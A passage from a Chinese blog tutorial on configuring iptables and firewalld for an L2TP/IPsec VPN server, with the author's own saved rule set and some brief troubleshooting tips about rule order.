/sbin/iptables -A INPUT -p esp -j ACCEPT

/sbin/iptables -A INPUT -m policy --dir in --pol ipsec -j ACCEPT

/sbin/iptables -A FORWARD -d 10.0.10.0/24 -j ACCEPT

/sbin/iptables -A FORWARD -s 10.0.10.0/24 -j ACCEPT

/sbin/iptables -A FORWARD -i ppp+ -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

/sbin/iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

/sbin/iptables -t nat -A POSTROUTING -s 10.0.10.0/24 -o eth0 -j MASQUERADE

再执行下面保存iptables

service iptables save

service iptables restart

添加开机自启动

systemd enabled ipsec

systemd enabled xl2tpd

如果连接不上的话, 先关掉iptalbes试试 service iptables stop

如果这时还连不上了,那么就是iptables的问题了

特别注意iptables里的顺序, INPUT和FORWARD里的REJECT一定是写在最后面,否则写在他们之后的port就都被REJECT了!

下面是我自己的iptables,可供参考

#############

*nat

:PREROUTING ACCEPT [3:160]

:INPUT ACCEPT [3:160]

:OUTPUT ACCEPT [3:180]

:POSTROUTING ACCEPT [3:180]

-A POSTROUTING -s 10.0.10.0/24 -o eth0 -j MASQUERADE

COMMIT

# Completed on Sat Mar 18 22:21:34 2017

# Generated by iptables-save v1.4.21 on Sat Mar 18 22:21:34 2017

*filter

:INPUT ACCEPT [237:33515]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [162:45870]

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

-A INPUT -p udp -m policy --dir in --pol ipsec -m udp --dport 1701 -j ACCEPT

-A INPUT -p udp -m udp --dport 1701 -j ACCEPT

-A INPUT -p udp -m udp --dport 500 -j ACCEPT

-A INPUT -p udp -m udp --dport 4500 -j ACCEPT

-A INPUT -p esp -j ACCEPT

-A INPUT -m policy --dir in --pol ipsec -j ACCEPT

-A FORWARD -d 10.0.10.0/24 -j ACCEPT

-A FORWARD -s 10.0.10.0/24 -j ACCEPT

-A FORWARD -i ppp+ -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

COMMIT

# Completed on Sat Mar 18 22:21:34 2017

firewalld防火墙工具

分为命令行工具和图形化工具

##基本命令行工具
firewall-cmd
firewall-cmd --add-port=80/tcp
firewall-cmd --add-port=8080/tcp ##添加8080端口的访问

firewall-cmd --reload ##重新加载新规则以生效

firewall --list-services ##列出服务
firewall --add-service=http ##添加http服务

本文作者:Catyer

本文链接:https://www.cnblogs.com/catyer/p/16633312.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Catyer  阅读(350)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起